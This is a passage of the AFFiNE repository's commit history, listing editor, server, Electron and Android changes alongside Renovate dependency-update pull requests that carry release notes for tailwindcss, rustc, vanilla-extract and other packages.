📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-05 09:12:59 +00:00
pengx17
a1beb2aadb
fix(electron): sourcemap not loading for electron dev mode ( #9951 )
2025-02-05 08:34:57 +00:00
EYHN
ee0cfe4dc7
feat(nbstore): share worker between workspaces ( #9947 )
2025-02-05 07:57:03 +00:00
Saul-Mirone
972d76d685
refactor(editor): use spec builder to unify the extend of editor extensions ( #9916 )
2025-02-05 07:40:55 +00:00
doouding
02122098c7
fix: drag block issue ( #9902 )
...
### Changed
- Added support for changing the preview offset during dragging.
- Fixed the preview rendering for embed block and surface-ref block
- Resolved an issue where the host element might be reused in certain cases, which could cause unexpected behavior
- Moved viewport-related constants and methods to a more appropriate location
2025-02-05 07:25:53 +00:00
Brooooooklyn
abeff8bb1a
feat(server): doc level permission ( #9760 )
...
close CLOUD-89 CLOUD-90 CLOUD-91 CLOUD-92
2025-02-05 07:06:57 +00:00
Yifeng Wang
64de83b13d
chore(editor): switch to edgeless in renderer poc entry ( #9950 )
2025-02-05 06:36:20 +00:00
aki-chang-dev
2607e34063
feat(android): sign-in with google & magic-link & email ( #9868 )
...
- [chore(android): migrate to version catalog](16c0fb66e7 )
- [feat(android): integrate apollo](4dcf93b4f9 )
- [fix(android): fix android email sign-in](752cf34f33 )
- [chore(android): add stable/canary environment](72a96bfa5f )
- [feat(android): set cookies for apollo client](7664cc4f19 )
- [feat(android): google & magic-link sign-in](c54ce3b43b )
- [eat(android): change logo](8c5062adbc )
- [chore(android): fix pipleline](4a68299be4 )
- [fix(android): rebase issues](c6858c5ecf )
- [docs(android): update README for compat with java 21](6eac3ba0dc )
- [fix(android): android pipeline](1103c87880 )
2025-02-05 06:08:28 +00:00
Yifeng Wang
cbb73d8034
fix(editor): render position of repeated sentence ( #9948 )
2025-02-05 04:41:24 +00:00
Yifeng Wang
8afc50c730
fix(editor): support worker renderer zoom ( #9943 )
2025-02-05 12:16:06 +08:00
Saul-Mirone
0553ae72b5
refactor(editor): remove deprecated editor slot ( #9908 )
2025-02-04 12:56:41 +00:00
pengx17
3834699c68
fix(electron): add refer/origin to api requests ( #9880 )
...
related to BS-2181
2025-02-02 10:05:02 +00:00
liuyi
a95803d33b
fix(server): selfhost should not use canary mobile pages ( #9929 )
2025-02-02 10:00:51 +00:00
liuyi
2084b86797
chore(server): remove old subscription table usage ( #9928 )
2025-02-02 17:48:54 +08:00
forehalo
d03447f52e
fix(server): should redeem onetime invoice only once ( #9927 )
...
fix CLOUD-115
2025-02-02 09:18:06 +00:00
renovate
a673f42073
chore: bump up tailwindcss version to v4 ( #9918 )
...
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [tailwindcss](https://tailwindcss.com ) ([source](https://redirect.github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/tailwindcss )) | [`^3.4.16` -> `^4.0.0`](https://renovatebot.com/diffs/npm/tailwindcss/3.4.17/4.0.3 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
---
### Release Notes
<details>
<summary>tailwindlabs/tailwindcss (tailwindcss)</summary>
### [`v4.0.3`](https://redirect.github.com/tailwindlabs/tailwindcss/blob/HEAD/CHANGELOG.md#403---2025-02-01 )
[Compare Source](https://redirect.github.com/tailwindlabs/tailwindcss/compare/v4.0.2...v4.0.3 )
##### Fixed
- Fix incorrect removal of `@import url();` ([#​16144](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16144 ))
### [`v4.0.2`](https://redirect.github.com/tailwindlabs/tailwindcss/blob/HEAD/CHANGELOG.md#402---2025-01-31 )
[Compare Source](https://redirect.github.com/tailwindlabs/tailwindcss/compare/v4.0.1...v4.0.2 )
##### Fixed
- Only generate positive `grid-cols-*` and `grid-rows-*` utilities ([#​16020](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16020 ))
- Ensure escaped theme variables are handled correctly ([#​16064](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16064 ))
- Ensure we process Tailwind CSS features when only using `@reference` or `@variant` ([#​16057](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16057 ))
- Refactor gradient implementation to work around [prettier/prettier#17058 ](https://redirect.github.com/prettier/prettier/issues/17058 ) ([#​16072](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16072 ))
- Vite: Ensure hot-reloading works with SolidStart setups ([#​16052](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16052 ))
- Vite: Fix a crash when starting the development server in SolidStart setups ([#​16052](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16052 ))
- Vite: Don't rebase URLs that appear to be aliases ([#​16078](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16078 ))
- Vite: Transform `<style>` blocks in HTML files ([#​16069](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16069 ))
- Prevent camel-casing CSS custom properties added by JavaScript plugins ([#​16103](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16103 ))
- Do not emit `@keyframes` in `@theme reference` ([#​16120](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16120 ))
- Discard invalid declarations when parsing CSS ([#​16093](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16093 ))
- Do not emit empty CSS rules and at-rules ([#​16121](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16121 ))
- Handle `@variant` when at the top-level of a stylesheet ([#​16129](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16129 ))
### [`v4.0.1`](https://redirect.github.com/tailwindlabs/tailwindcss/blob/HEAD/CHANGELOG.md#401---2025-01-29 )
[Compare Source](https://redirect.github.com/tailwindlabs/tailwindcss/compare/v4.0.0...v4.0.1 )
##### Added
- Include `:open` pseudo-class in existing `open` variant ([#​15349](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15349 ))
##### Fixed
- Remove invalid `min-w/h-none` utilities ([#​15845](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15845 ))
- Discard CSS variable shorthand utilities that don't use valid CSS variables ([#​15738](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15738 ))
- Ensure font-size utilities with `none` modifier have a line-height set e.g. `text-sm/none` ([#​15921](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15921 ))
- Ensure font-size utilities with unknown modifier don't generate CSS ([#​15921](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15921 ))
- Don’t suggest font weight utilities more than once ([#​15857](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15857 ))
- Suggest container query variants ([#​15857](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15857 ))
- Disable bare value suggestions when not using the `--spacing` variable ([#​15857](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15857 ))
- Ensure suggested classes are properly sorted ([#​15857](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15857 ))
- Don’t look at .gitignore files outside initialized repos ([#​15941](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15941 ))
- Find utilities when using the Svelte class shorthand syntax across multiple lines ([#​15974](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15974 ))
- Find utilities when using the Angular class shorthand syntax ([#​15974](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15974 ))
- Find utilities when using functions inside arrays ([#​15974](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15974 ))
- Ensure that `@tailwindcss/browser` does not pollute the global namespace ([#​15978](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15978 ))
- Ensure that `tailwind-merge` is not scanned when using the Vite plugin ([#​16005](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16005 ))
- Ensure CSS theme variables are available within shadow roots ([#​15975](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15975 ))
- Fix crash when project lives in the `/` directory ([#​15988](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15988 ))
- Ensure custom variants have a non-empty selector list ([#​16009](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16009 ))
- *Upgrade*: Ensure JavaScript config files on different drives are correctly migrated ([#​15927](https://redirect.github.com/tailwindlabs/tailwindcss/pull/15927 ))
- *Upgrade*: Migrate `leading-[1]` to `leading-none` ([#​16004](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16004 ))
- *Upgrade*: Do not migrate arbitrary leading utilities to bare values ([#​16004](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16004 ))
### [`v4.0.0`](https://redirect.github.com/tailwindlabs/tailwindcss/blob/HEAD/CHANGELOG.md#400---2025-01-21 )
[Compare Source](https://redirect.github.com/tailwindlabs/tailwindcss/compare/v3.4.17...v4.0.0 )
##### Added
- [New high-performance engine](https://tailwindcss.com/blog/tailwindcss-v4#new-high-performance-engine ) — where full builds are up to 5x faster, and incremental builds are over 100x faster — and measured in microseconds.
- [Designed for the modern web](https://tailwindcss.com/blog/tailwindcss-v4#designed-for-the-modern-web ) — built on cutting-edge CSS features like cascade layers, registered custom properties with `@property`, and `color-mix()`.
- [Simplified installation](https://tailwindcss.com/blog/tailwindcss-v4#simplified-installation ) — fewer dependencies, zero configuration, and just a single line of code in your CSS file.
- [First-party Vite plugin](https://tailwindcss.com/blog/tailwindcss-v4#first-party-vite-plugin ) — tight integration for maximum performance and minimum configuration.
- [Automatic content detection](https://tailwindcss.com/blog/tailwindcss-v4#automatic-content-detection ) — all of your template files are discovered automatically, with no configuration required.
- [Built-in import support](https://tailwindcss.com/blog/tailwindcss-v4#built-in-import-support ) — no additional tooling necessary to bundle multiple CSS files.
- [CSS-first configuration](https://tailwindcss.com/blog/tailwindcss-v4#css-first-configuration ) — a reimagined developer experience where you customize and extend the framework directly in CSS instead of a JavaScript configuration file.
- [CSS theme variables](https://tailwindcss.com/blog/tailwindcss-v4#css-theme-variables ) — all of your design tokens exposed as native CSS variables so you can access them anywhere.
- [Dynamic utility values and variants](https://tailwindcss.com/blog/tailwindcss-v4#dynamic-utility-values-and-variants ) — stop guessing what values exist in your spacing scale, or extending your configuration for things like basic data attributes.
- [Modernized P3 color palette](https://tailwindcss.com/blog/tailwindcss-v4#modernized-p3-color-palette ) — a redesigned, more vivid color palette that takes full advantage of modern display technology.
- [Container queries](https://tailwindcss.com/blog/tailwindcss-v4#container-queries ) — first-class APIs for styling elements based on their container size, no plugins required.
- [New 3D transform utilities](https://tailwindcss.com/blog/tailwindcss-v4#new-3d-transform-utilities ) — transform elements in 3D space directly in your HTML.
- [Expanded gradient APIs](https://tailwindcss.com/blog/tailwindcss-v4#expanded-gradient-apis ) — radial and conic gradients, interpolation modes, and more.
- [@​starting-style support](https://tailwindcss.com/blog/tailwindcss-v4#starting-style-support ) — a new variant you can use to create enter and exit transitions, without the need for JavaScript.
- [not-\* variant](https://tailwindcss.com/blog/tailwindcss-v4#not-variant ) — style an element only when it doesn't match another variant, custom selector, or media or feature query.
- [Even more new utilities and variants](https://tailwindcss.com/blog/tailwindcss-v4#even-more-new-utilities-and-variants ) — including support for `color-scheme`, `field-sizing`, complex shadows, `inert`, and more.
Start using Tailwind CSS v4.0 today by [installing it in a new project](https://tailwindcss.com/docs/installation/ ), or playing with it directly in the browser on [Tailwind Play](https://play.tailwindcss.com/ ).
For existing projects, we've published a comprehensive [upgrade guide](https://tailwindcss.com/docs/upgrade-guide ) and built an [automated upgrade tool](https://tailwindcss.com/docs/upgrade-guide#using-the-upgrade-tool ) to get you on the latest version as quickly and painlessly as possible.
For a deep-dive into everything that's new, [check out the announcement post](https://tailwindcss.com/blog/tailwindcss-v4 ).
</details>
---
### Configuration
📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-02 07:43:18 +00:00
renovate
63a427148f
chore: bump up tailwind-merge version to v3 ( #9917 )
...
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [tailwind-merge](https://redirect.github.com/dcastil/tailwind-merge ) | [`^2.5.5` -> `^3.0.0`](https://renovatebot.com/diffs/npm/tailwind-merge/2.6.0/3.0.1 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
---
### Release Notes
<details>
<summary>dcastil/tailwind-merge (tailwind-merge)</summary>
### [`v3.0.1`](7378c16adc...493fa8c110 )
[Compare Source](https://redirect.github.com/dcastil/tailwind-merge/compare/v3.0.0...v3.0.1 )
### [`v3.0.0`](https://redirect.github.com/dcastil/tailwind-merge/compare/v2.6.0...7378c16adcc261599fa2debe8c18d77071c946f4 )
[Compare Source](https://redirect.github.com/dcastil/tailwind-merge/compare/v2.6.0...v3.0.0 )
</details>
---
### Configuration
📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-01 14:51:48 +00:00
renovate
2b54ebd0be
chore: bump up rustc version to v1.84.1 ( #9920 )
...
This PR contains the following updates:
| Package | Update | Change |
|---|---|---|
| [rustc](https://redirect.github.com/rust-lang/rust ) | patch | `1.84.0` -> `1.84.1` |
---
### Release Notes
<details>
<summary>rust-lang/rust (rustc)</summary>
### [`v1.84.1`](https://redirect.github.com/rust-lang/rust/blob/HEAD/RELEASES.md#Version-1841-2025-01-30 )
[Compare Source](https://redirect.github.com/rust-lang/rust/compare/1.84.0...1.84.1 )
\==========================
<a id="1.84.1"></a>
- [Fix ICE 132920 in duplicate-crate diagnostics.](https://redirect.github.com/rust-lang/rust/pull/133304/ )
- [Fix errors for overlapping impls in incremental rebuilds.](https://redirect.github.com/rust-lang/rust/pull/133828/ )
- [Fix slow compilation related to the next-generation trait solver.](https://redirect.github.com/rust-lang/rust/pull/135618/ )
- [Fix debuginfo when LLVM's location discriminator value limit is exceeded.](https://redirect.github.com/rust-lang/rust/pull/135643/ )
- Fixes for building Rust from source:
- [Only try to distribute `llvm-objcopy` if llvm tools are enabled.](https://redirect.github.com/rust-lang/rust/pull/134240/ )
- [Add Profile Override for Non-Git Sources.](https://redirect.github.com/rust-lang/rust/pull/135433/ )
- [Resolve symlinks of LLVM tool binaries before copying them.](https://redirect.github.com/rust-lang/rust/pull/135585/ )
- [Make it possible to use ci-rustc on tarball sources.](https://redirect.github.com/rust-lang/rust/pull/135722/ )
</details>
---
### Configuration
📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-01 14:33:47 +00:00
renovate
f73b07da66
chore: bump up @vanilla-extract/vite-plugin version to v5 ( #9915 )
...
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@vanilla-extract/vite-plugin](https://redirect.github.com/vanilla-extract-css/vanilla-extract ) ([source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/tree/HEAD/packages/vite-plugin )) | [`^4.0.18` -> `^5.0.0`](https://renovatebot.com/diffs/npm/@vanilla-extract%2fvite-plugin/4.0.19/5.0.0 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
| [@vanilla-extract/vite-plugin](https://redirect.github.com/vanilla-extract-css/vanilla-extract ) ([source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/tree/HEAD/packages/vite-plugin )) | [`^4.0.19` -> `^5.0.0`](https://renovatebot.com/diffs/npm/@vanilla-extract%2fvite-plugin/4.0.19/5.0.0 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
---
### Release Notes
<details>
<summary>vanilla-extract-css/vanilla-extract (@​vanilla-extract/vite-plugin)</summary>
### [`v5.0.0`](https://redirect.github.com/vanilla-extract-css/vanilla-extract/blob/HEAD/packages/vite-plugin/CHANGELOG.md#500 )
[Compare Source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/compare/@vanilla-extract/vite-plugin@4.0.20...@vanilla-extract/vite-plugin@5.0.0 )
##### Major Changes
- [#​1537](https://redirect.github.com/vanilla-extract-css/vanilla-extract/pull/1537 ) [`7810b7c`](7810b7c8b8 ) Thanks [@​askoufis](https://redirect.github.com/askoufis )! - Change the plugin name from `"vanilla-extract"` to the more [conventional][plugin conventions] `"vite-plugin-vanilla-extract"`
[plugin conventions]: https://vite.dev/guide/api-plugin.html#conventions
- [#​1529](https://redirect.github.com/vanilla-extract-css/vanilla-extract/pull/1529 ) [`d5b6e70`](d5b6e70f44 ) Thanks [@​askoufis](https://redirect.github.com/askoufis )! - Update `vite` peer dependency range to `^5.0.0 || ^6.0.0`
BREAKING CHANGE: Vite 4 is no longer supported. Please upgrade to at least Vite 5.
- [#​1537](https://redirect.github.com/vanilla-extract-css/vanilla-extract/pull/1537 ) [`7810b7c`](7810b7c8b8 ) Thanks [@​askoufis](https://redirect.github.com/askoufis )! - BREAKING CHANGE: User-configured vite plugins are no longer forwarded through to the Vanilla Extract compiler by default. This should not affect most consumers.
Previously, all vite plugins except for a select few incompatible plugins were forwarded through. This resulted in a constant game of whack-a-mole as new plugins were added to the list of incompatible plugins as issues were discovered.
Framework-specific plugins, as well as plugins that handle assets and build output, tend not to be relevant to Vanilla Extract code, and in some cases cause more harm than good.
For that reason, in this release only the `vite-tsconfig-paths` plugin is fowarded through by default. This is a relatively common plugin that is know to be compatible with the Vanilla Extract compiler.
In most cases users should not need to forward any additional plugins through to the Vanilla Extract compiler. However, if such a case arises, a plugin filter function can be provided via the `unstable_pluginFilter` option:
```ts
// vite.config.ts
import { vanillaExtractPlugin } from '@​vanilla-extract/vite-plugin';
import { vitePluginFoo } from 'vite-plugin-foo';
export default defineConfig({
plugins: [
vitePluginFoo(),
vanillaExtractPlugin({
// Only forward the `vite-plugin-foo` plugin through to the Vanilla Extract compiler
unstable_pluginFilter: ({ name, mode }) =>
plugin.name === 'vite-plugin-foo'
})
]
});
```
When providing a plugin filter function, the `vite-tsconfig-paths` plugin will no longer be forwarded through by default. If you wish to forward this plugin, you must include it in your filter function.
**NOTE**: The `unstable_pluginFilter` API is considered unstable and may be changed or removed without notice in a future non-major version.
##### Patch Changes
- Updated dependencies \[[`d5b6e70`](d5b6e70f44 ), [`d5b6e70`](d5b6e70f44 )]:
- [@​vanilla-extract/compiler](https://redirect.github.com/vanilla-extract/compiler )[@​0](https://redirect.github.com/0 ).1.1
### [`v4.0.20`](https://redirect.github.com/vanilla-extract-css/vanilla-extract/blob/HEAD/packages/vite-plugin/CHANGELOG.md#4020 )
[Compare Source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/compare/@vanilla-extract/vite-plugin@4.0.19...@vanilla-extract/vite-plugin@4.0.20 )
##### Patch Changes
- [#​1536](https://redirect.github.com/vanilla-extract-css/vanilla-extract/pull/1536 ) [`a8248be`](a8248befac ) Thanks [@​askoufis](https://redirect.github.com/askoufis )! - Consume compiler API from new `@vanilla-extract/compiler` package instead of `@vanilla-extract/integration`
- Updated dependencies \[[`5f66abb`](5f66abbd60 ), [`a8248be`](a8248befac ), [`a8248be`](a8248befac ), [`ec0b024`](ec0b024fd1 ), [`a8248be`](a8248befac )]:
- [@​vanilla-extract/integration](https://redirect.github.com/vanilla-extract/integration )[@​8](https://redirect.github.com/8 ).0.0
- [@​vanilla-extract/compiler](https://redirect.github.com/vanilla-extract/compiler )[@​0](https://redirect.github.com/0 ).1.0
</details>
---
### Configuration
📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMjUuMSIsInVwZGF0ZWRJblZlciI6IjM5LjEyNS4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-30 10:40:44 +00:00
Saul-Mirone
f3f6e8c6ac
refactor(editor): remove attachment and image block service ( #9909 )
2025-01-28 20:53:23 +00:00
Saul-Mirone
9c65c42d64
chore(editor): cleanup dead code ( #9904 )
2025-01-27 17:06:42 +00:00
Saul-Mirone
17bf75e843
refactor(editor): remove dependency of command global types ( #9903 )
...
Closes: [BS-2216](https://linear.app/affine-design/issue/BS-2216/remove-global-types-in-command )
2025-01-27 12:28:46 +00:00
pengx17
4b549e0484
fix(electron): optimize find in page in electron (2) ( #9901 )
...
1. find in page should have higher z-index than other modals
2. fix focused texts are not automatically being used as the default input value for searching
2025-01-27 07:58:16 +00:00
pengx17
ffbec1633e
fix(electron): optimize find in page in electron ( #9900 )
...
fix AF-2168
When using find in page (cmd+f) in electron, the popup should not prevent the user from interacting with the main content.
Also fixed some minor ui issues
2025-01-27 07:19:12 +00:00
Oleg
e3fac97b9b
fix(web): minor bug fixes ( #9696 )
...
Co-authored-by: Mirone <Saul-Mirone@outlook.com >
2025-01-27 14:21:41 +09:00
doouding
73b4437081
chore: dnd cleanup ( #9899 )
2025-01-27 04:29:14 +00:00
fundon
ffd54c6620
refactor(editor): use selected signal in block component ( #9849 )
2025-01-27 02:56:10 +00:00
pengx17
a5c8356376
chore(electron): split view tracking events ( #9896 )
...
fix AF-2037
2025-01-27 02:40:08 +00:00
Saul-Mirone
d6bfb761fe
fix(editor): typecheck for tests and playground ( #9897 )
2025-01-27 02:00:09 +00:00
renovate
6c8edb160c
chore: bump up oxlint version to v0.15.8 ( #9886 )
...
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [oxlint](https://oxc.rs ) ([source](https://redirect.github.com/oxc-project/oxc/tree/HEAD/npm/oxlint )) | [`0.15.7` -> `0.15.8`](https://renovatebot.com/diffs/npm/oxlint/0.15.7/0.15.8 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
---
### Release Notes
<details>
<summary>oxc-project/oxc (oxlint)</summary>
### [`v0.15.8`](https://redirect.github.com/oxc-project/oxc/blob/HEAD/npm/oxlint/CHANGELOG.md#0158---2025-01-24 )
[Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v0.15.7...oxlint_v0.15.8 )
##### Features
- [`79ba9b5`](https://redirect.github.com/oxc-project/oxc/commit/79ba9b5 ) linter: Added support to run in Node.JS legacy versions ([#​8648](https://redirect.github.com/oxc-project/oxc/issues/8648 )) (Luiz Felipe Weber)
</details>
---
### Configuration
📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMjUuMSIsInVwZGF0ZWRJblZlciI6IjM5LjEyNS4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-26 09:00:47 +00:00
forehalo
6370f45928
feat(server): cluster level event system ( #9884 )
2025-01-25 14:51:03 +00:00
pengx17
0d2c2ea21e
fix(core): tag input keyboard control enhancements ( #9881 )
...
fix AF-2166
2025-01-25 14:35:49 +00:00
Saul-Mirone
1858947e0c
feat(editor): flat block data ( #9854 )
...
Flat block data.
A new block type to flatten the block data
```typescript
// For developers
type Model = {
blocks: Record<string, {
flavour: string;
cells: Record<string, {
rowId: string;
colId: string;
text: Text;
}>;
cols: Record<string, {
align: string;
}>
rows: Record<string, {
backgroundColor: string;
}>
}>
}
// How it's saved in yjs
const yData = {
blocks: {
'blockId1': {
flavour: 'affine:table',
'prop:rows:row1:backgroundColor': 'white',
'prop:cols:col1:align': 'left',
'prop:cells:cell1:rowId': 'row1',
'prop:cells:cell1:colId': 'col1',
'prop:cells:cell1:text': YText,
prop:children: []
},
}
}
```
2025-01-25 12:57:21 +00:00
forehalo
9c5375ca06
chore: generate repo meta
2025-01-25 15:24:00 +08:00
L-Sun
829980bace
refactor(editor): toc dragging with std.dnd ( #9883 )
...
Close [BS-2458](https://linear.app/affine-design/issue/BS-2458/toc-dnd重构 )
### What Changes
- Refactor toc note card dnd with `std.dnd`
- Extract note display mode change to command `changeNoteDisplayMode`
- It will reorder notes when the display mode changed from `EdgelessOnly` to page mode visible (a.k.a `DocOnly` or `Both`)
2025-01-24 13:27:17 +00:00
L-Sun
351816b343
fix(editor): prevent errors when moving a block to its own position ( #9887 )
2025-01-24 12:55:55 +00:00
donteatfriedrice
4b553d153a
feat(core): update chat error style ( #9885 )
...
[BS-2487](https://linear.app/affine-design/issue/BS-2487/报错样式更新 )
2025-01-24 12:39:10 +00:00
zzj3720
5a5779c05a
feat(editor): simple table block ( #9740 )
...
close: BS-2122, BS-2125, BS-2124, BS-2420, PD-2073, BS-2126, BS-2469, BS-2470, BS-2478, BS-2471
2025-01-24 10:07:57 +00:00